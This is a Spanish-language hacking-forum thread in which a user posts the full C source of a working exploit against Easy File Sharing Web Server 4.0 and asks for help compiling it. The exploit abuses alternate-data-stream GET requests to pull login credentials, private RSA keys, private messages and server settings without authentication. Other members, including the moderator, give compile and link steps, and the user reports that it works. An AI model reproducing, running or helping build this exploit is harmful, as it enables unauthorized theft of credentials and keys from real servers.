elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 10:04  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Duda compilación exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Duda compilación exploit  (Leído 2,447 veces)
sapietin

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Duda compilación exploit
« en: 25 Enero 2008, 00:29 »

Hola!!! Qtal va??
Weno mi duda surge al intentar compilar en C un exploit para mi servidor lo cierto esque no veo el error. Mis conocimientos en C no son abrumadores, por lo que acudo a vosotros   X-D   Os adjunto codigo de esta por si teneis alguna idea:



/*
===================================================================
0-day Alternative File Stream Exploit for Easy File Share Server 4
===================================================================
Exploit allows malicious users to grab files from the server without
being authenticated completely bypassing security.


0-day Easy File Sharing Web Server v4.0 Information Stealer
Discovered and Coded by Greg Linares ==> GLinares.code [at] gmail [dot] com
This tool demonstrates EFS Web Server's Vulnerability to Alternative
Data Stream GET requests which allow unauthorized users to download server
critical files.

Discovered and Reported: 10-30-2006

Usage: exploit <hostname/IP> [port 80=default] [Method see below]

--------PoC Methods:-----
1 = Gather all login username and passwords and email addresses.[Default]
2 = Gather Private RSA Key and Certificates for server.
3 = Gather Private Messages used by Forum Users on the server
4 = Gather Server Settings File and SMTP server info.

*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>      /* Win32 API */
#include <wininet.h>      /* WinInet API */
int mthd;
unsigned short httpport;
char exploit[512], exploit2[512], exploit3[512], exploit4[512];
char logmsg[512];
char endmsg[512];
HINTERNET inet;         /* WinInet Internet Handle */
FILE *file;

void ExploitHTTP (HINTERNET inet, const char *host, const char *exp)
{

     HINTERNET connection;      /* Connection Handle */
    HINTERNET request;         /* Request Handle */
    unsigned long flags;      /* HttpOpenRequest Flags */

   char buffer[BUFSIZ];
    unsigned long len;


   printf("HOST: %s\n", host);
   printf("PORT: %i\n", httpport);

   if ((connection = InternetConnect(inet, host, httpport,
                  NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0))
       == NULL)
   {
      printf("Failed to Connect...Exiting\n");
      InternetCloseHandle(inet);
      fclose(file);
      exit(1);
   }

   flags = INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_AUTO_REDIRECT |
       INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_COOKIES |
       INTERNET_FLAG_RELOAD;

   strcat(exp, "%3A%3A%24%44%41%54%41");

   request = HttpOpenRequest(connection, "GET", exp, "HTTP/1.0", NULL, NULL, flags, 0);
   if (request == NULL)
   {
      printf("HTTP Open Request failed....Exiting\n");
      InternetCloseHandle(connection);
      InternetCloseHandle(inet);
      fclose(file);
      exit(1);
   }
   if (!HttpSendRequest(request, NULL, 0, NULL, 0))
   {
      printf("HTTP Send Request failed....Exiting\n");
      InternetCloseHandle(request);
      InternetCloseHandle(connection);
      InternetCloseHandle(inet);
      fclose(file);
      exit(1);
   }
   printf("Exploit Sent...Dumping HTTP Return Packet...");
   sleep(1000);

   while (InternetReadFile(request, buffer, sizeof buffer, &len) && len > 0)
   {
      fwrite(buffer, len, 1, file);
      if (fwrite(buffer, len, 1, stdout) < 1)
      {
            printf("Error Outputting HTTP Return Packet\n");
      }
   }
   InternetCloseHandle(request);
    InternetCloseHandle(connection);
}


int main (int argc, char *argv[])
{

   printf("\n=========================================================================\n");
   printf("0-day Easy File Sharing Web Server v4.0 Information Stealer\n");
   printf("Discovered and Coded by Greg Linares ==> GLinares.code [at] gmail [dot] com\n");
   printf("This tool demonstrates EFS Web Server's Vulnerability to Alternative\n");
   printf("Data Stream GET requests which allow unauthorized users to download server \n");
   printf("critical files.\n");
   printf("Discovered and Reported: 10-30-2006\n");
   printf("\nUsage: %s <hostname/IP> [port 80=default] [Method see below]\n", argv[0]);
   printf("--------PoC Methods:-----\n");
   printf("1 = Gather all login username and passwords and email addresses.[Default]\n");
   printf("2 = Gather Private RSA Key and Certificates for server.\n");
   printf("3 = Gather Private Messages used by Forum Users on the server\n");
   printf("4 = Gather Server Settings File and SMTP server info.\n");
   printf("============================================================================\n");


    inet = InternetOpen("ESF Exp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (inet == NULL)
   {
      printf("Error accessing InternetOpen API - Exiting...\n");
      exit(1);
   }
   if (argc < 2)
   {
      printf("Invalid # of arguments...Exiting\n");
      exit(1);
   }
   if (atoi(argv[3]) > 4)
   {
      mthd = 1;
   }
   if (atoi(argv[3]) <= 0)
   {
      mthd = 1;
   }
   mthd = atoi(argv[3]);

   /* Set Up Exploits */
   switch(mthd)
   {
       case 1:
         file = fopen("Accounts.txt","a+");
         sprintf(exploit, "%s", "%75%73%65%72%2E%73%64%62");
         sprintf(endmsg, "%s", "\n\n\nResults Dumped to Accounts.txt\n");
         break;
      case 2:
         file = fopen("RSAKeys.txt", "a+");
         sprintf(exploit, "%s", "%53%65%72%76%65%72%4B%65%79%2E%70%65%6D");
         sprintf(endmsg, "%s", "\n\n\nResults Dumped to RSAKeys.txt\n");
         break;
      case 3:
         file = fopen("Messages.txt", "a+");
         sprintf(exploit, "%s", "%6D%73%67%31%2E%73%64%62");
         sprintf(endmsg, "%s", "\n\n\nResults Dumped to Messages.txt\n");
         break;
      case 4:
         file = fopen("Server.txt", "a+");
         sprintf(exploit, "%s", "%6F%70%74%69%6F%6E%2E%69%6E%69");
         sprintf(endmsg, "%s", "\n\n\nResults Dumped to Server.txt\n");
         break;
   }



   sprintf(logmsg, "%s", argv[1]);
   sprintf(logmsg, "%s", "\r\n\r\n\r\n");
   fwrite(logmsg, strlen(logmsg), 1, file);
   httpport = atoi(argv[2]);
   ExploitHTTP(inet, argv[1], exploit);
   if (mthd == 3)
   {
      printf("\n\n Sending 2nd Exploit...\n");
      strcat(exploit2, "%6D%73%67%32%2E%73%64%62");
      ExploitHTTP(inet, argv[1], exploit2);
      printf("\n\n Sending 3rd Exploit...\n");
      strcat(exploit3, "%6D%73%67%33%2E%73%64%62");
      ExploitHTTP(inet, argv[1], exploit3);
      printf("\n\n Sending final Exploit...\n");
      strcat(exploit4, "%6D%73%67%34%2E%73%64%62");
      ExploitHTTP(inet, argv[1], exploit4);
   }
   if (mthd == 2)
   {
      printf("\n\n Sending 2nd Exploit...\n");
      strcat(exploit2, "%53%65%72%76%65%72%43%65%72%74%2E%70%65%6D");
      ExploitHTTP(inet, argv[1], exploit2);
      printf("\n\n Sending final Exploit...\n");
      strcat(exploit3, "%52%6F%6F%74%43%65%72%74%2E%70%65%6D");
      ExploitHTTP(inet, argv[1], exploit3);
   }
   fclose(file);

    Sleep(500);
    InternetCloseHandle(inet);
   printf("\n\n===================================================\n");
   printf("%s\n", endmsg);
   printf("Proof Of Concept Exploit by Greg Linares\n");
   printf("Send Comments/Concerns/Questions/Etc to GLinares.code [at] gmail [dot] com\n");
    return 0;

}



Por cierto lo que me devuelve el compilador es lo siguiente:

linea 67 C:\EFS_alt_data_streams.c [Warning] passing arg 1 of `strcat' discards qualifiers from pointer target type
 Por lo que:     strcat(exp, "%3A%3A%24%44%41%54%41");
es lo que falla. Parece que no registra el puntero????
Weno, al menos muchas gracias por hacerme un poco de caso.
Un saludo.
En línea
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Duda compilación exploit
« Respuesta #1 en: 25 Enero 2008, 02:24 »


Por cierto lo que me devuelve el compilador es lo siguiente:

linea 67 C:\EFS_alt_data_streams.c [Warning] passing arg 1 of `strcat' discards qualifiers from pointer target type

Pero cual es el problema solo es un Warning. no te genera el ejecutable ???
En línea

Bien Super Divertido
@wifigdlmx
Ferсhu


Desconectado Desconectado

Mensajes: 1.213

Menos palabras y Mas codigos.


Ver Perfil WWW
Re: Duda compilación exploit
« Respuesta #2 en: 25 Enero 2008, 04:33 »

Citar
Pero cual es el problema solo es un Warning. no te genera el ejecutable ???

el problema es q no sabe compilar. :p

igual me parece q el programa real es con "\x", no con %, jaja es una trampita igual no estoy seguro lo vi asi nomas.
En línea

sapietin

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Duda compilación exploit
« Respuesta #3 en: 25 Enero 2008, 20:08 »

Efectivamente me da un warning y no genera el ejecutable. Es cierto la programación no es lo mío, i´m sorry!!! Hace años ya de ello.
En línea
zhynar_X


Desconectado Desconectado

Mensajes: 516


Use linux my friend...


Ver Perfil WWW
Re: Duda compilación exploit
« Respuesta #4 en: 25 Enero 2008, 21:48 »

Prueva lo que dice Ferchu, canvia los % por \x de la linea 67.
En los exploits suelen poner tramas para que no los usen los que no saben de programación.

Saludos :P
En línea

Me he creado un blog:
http://zhynar.blogspot.com  Aver si os gusta! ;)


Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.140



Ver Perfil
Re: Duda compilación exploit + SOLVE
« Respuesta #5 en: 26 Enero 2008, 01:01 »

Que tal

Existen diferencias en C y C++, agrego la SOLUCION para compilacion sobre Microsoft Visual C++:

1) Guardar el codigo como "exploit.c" / bueno para algunos programadores no importa tanto esto.
2) Es necesario linkear una libreria para los modulos que se estan usando, ir a:

Código:
Project->Settings->Link->Object/library Modules add wininet.lib
de modo en el box se vera algo asi:

Código:
kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib

wininet.lib <- libreria agregada en el PATH

Copilar:

Código:
Compiling...
test.c
C:\Documents and Settings\Administrator\Desktop\TEST\test.c(67) : warning C4090: 'function' : different 'const' qualifiers
C:\Documents and Settings\Administrator\Desktop\TEST\test.c(67) : warning C4024: 'strcat' : different types for formal and actual parameter 1

test.obj - 0 error(s), 2 warning(s)

Crear ejecutable:

Código:
Linking...

test.exe - 0 error(s), 0 warning(s)

Rebuild All:

Código:
Compiling...
test.c
c:\documents and settings\administrator\desktop\test\test.c(67) : warning C4090: 'function' : different 'const' qualifiers
c:\documents and settings\administrator\desktop\test\test.c(67) : warning C4024: 'strcat' : different types for formal and actual parameter 1
Linking...

test.exe - 0 error(s), 2 warning(s)

Ejecucion:

Código:
=========================================================================
0-day Easy File Sharing Web Server v4.0 Information Stealer
Discovered and Coded by Greg Linares ==> GLinares.code [at] gmail [dot] com
This tool demonstrates EFS Web Server's Vulnerability to Alternative
Data Stream GET requests which allow unauthorized users to download server
critical files.
Discovered and Reported: 10-30-2006

Usage: C:\Documents and Settings\Administrator\Desktop\TEST\Debug\test.exe <host
name/IP> [port 80=default] [Method see below]
--------PoC Methods:-----
1 = Gather all login username and passwords and email addresses.[Default]
2 = Gather Private RSA Key and Certificates for server.
3 = Gather Private Messages used by Forum Users on the server
4 = Gather Server Settings File and SMTP server info.
============================================================================
Invalid # of arguments...Exiting
Press any key to continue

Porfavor investiguen mas sobre programacion, C/C++, Visual C/C++

un gusto ayudarlos

-berz3k.









« Última modificación: 26 Enero 2008, 01:04 por berz3k » En línea
sapietin

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Duda compilación exploit
« Respuesta #6 en: 27 Enero 2008, 12:35 »

Muchas gracias berz3k!!!! Funcionó. Te haré caso y recuperaré mis apuntes de C.
Un saludo a todos.
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines